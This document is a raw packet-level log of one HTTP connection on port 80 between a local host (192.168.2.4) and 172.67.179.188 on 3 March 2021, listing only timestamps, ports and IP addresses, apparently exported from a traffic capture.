Mar 3, 2021 07:32:39.564510107 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564522982 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564546108 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.564836979 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564865112 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564871073 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.564893007 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564922094 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564945936 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.564956903 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564975023 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.564982891 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.564991951 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.565001011 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.565007925 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.565026999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.565043926 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.565049887 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.565056086 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.565072060 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.565412998 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.565464973 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.605542898 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.639776945 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.688234091 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771394014 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771450043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771467924 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771482944 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771498919 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771511078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771528959 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771537066 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.771541119 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771559000 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771578074 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771586895 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.771595001 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771611929 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771622896 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.771626949 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.771627903 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771717072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771745920 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.771847963 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771866083 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771882057 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771899939 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771907091 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.771917105 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771933079 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771945953 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.771950006 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771956921 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.771965981 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.771972895 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.771982908 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772000074 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772010088 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.772013903 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772681952 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772703886 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772716045 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772731066 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772739887 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.772742987 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772754908 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772767067 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772778034 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772789955 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772793055 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.772802114 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772814035 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772825956 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772838116 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.772859097 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.772886992 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.773576021 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.773618937 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.773634911 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.773647070 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.773648024 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.773658991 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.773670912 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.773683071 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.773694992 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.773704052 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.773705959 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.773718119 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.773724079 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.773730040 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.773741961 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.773753881 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.773787975 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.773802042 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.774532080 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.774561882 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.774578094 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.774585009 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.774590015 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.774601936 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.774614096 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.774625063 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.774636984 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.774652004 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.774655104 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.774667025 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.774677992 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.774688959 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.774699926 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.774712086 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.774729967 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.774739981 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.774744034 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.775052071 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.775424957 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.775464058 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.775479078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.775491953 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.775502920 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.775516033 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.775527954 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.775540113 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.775552034 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.775556087 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.775563955 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.775598049 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.775600910 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.775613070 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.775614977 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.775625944 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.775649071 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.775777102 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.776302099 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.776371956 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.776402950 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.776418924 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.776431084 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.776443958 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.776454926 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.776467085 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.776470900 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.776479006 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.776490927 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.776503086 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.776515007 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.776526928 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.776532888 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.776540041 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.776588917 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.776771069 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.777282953 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.777323961 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.777344942 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.777358055 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.777369976 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.777403116 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.777420998 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.777431965 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.777440071 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.777443886 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.777456999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.777462959 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.777472973 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.777483940 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.777496099 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.777504921 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.777551889 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.777560949 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.778167963 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.778234005 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.778266907 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.778291941 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.778309107 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.778321981 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.778335094 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.778333902 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.778347015 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.778363943 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.778374910 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.778387070 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.778388977 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.778393030 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.778403997 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.778415918 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.778419018 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.778434038 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.779131889 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779171944 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779179096 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.779189110 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779203892 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779222012 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779232979 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.779242039 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779268980 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779295921 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.779300928 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.779310942 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779326916 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779741049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779782057 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.779795885 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779849052 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779870033 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779885054 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779901981 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779905081 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.779912949 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779917002 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.779930115 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779942989 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779953957 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.779958963 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779970884 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779978991 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.779983044 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.779994965 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.780073881 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.780083895 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.780730963 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.780774117 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.780793905 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.780811071 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.780827045 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.780838013 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.780843973 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.780855894 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.780868053 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.780879974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.780891895 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.780891895 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.780895948 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.780904055 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.780915976 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.780921936 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.780926943 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.780957937 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.780992985 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.781609058 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.781629086 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.781649113 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.781708002 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.781734943 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.781744957 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.781749010 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.781764984 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.781780005 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.781795979 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.781810999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.781827927 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.781845093 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.781861067 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.781872034 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.781883955 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.781888962 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.781902075 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.782211065 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.782567978 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.782597065 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.782613039 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.782627106 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.782645941 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.782663107 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.782674074 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.782677889 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.782686949 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.782691002 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.782707930 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.782718897 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.783194065 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.783240080 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.783256054 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.783271074 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.783282995 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.783298016 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.783317089 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.783324957 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.783333063 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.783344984 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.783356905 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.783369064 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.783373117 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.783381939 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.783392906 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.783402920 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.783410072 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.783421993 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.783421993 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.783448935 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.783467054 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.784178019 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.784236908 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.784254074 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.784270048 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.784285069 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.784296036 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.784300089 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.784317017 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.784328938 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.784331083 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.784341097 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.784353018 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.784363985 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.784369946 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.784375906 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.784388065 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.784415007 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.784661055 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.785064936 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.785129070 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.785150051 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.785166979 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.785181999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.785201073 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.785218000 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.785233021 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.785248041 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.785264969 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.785267115 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.785275936 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.785295010 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.785312891 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.785326004 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.785368919 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.785377979 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.786022902 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.786042929 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.786061049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.786077023 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.786092043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.786103010 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.786107063 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.786119938 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.786134958 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.786144018 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.786150932 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.786175966 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.786992073 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.822380066 CET	80	49741	172.67.179.188	192.168.2.4
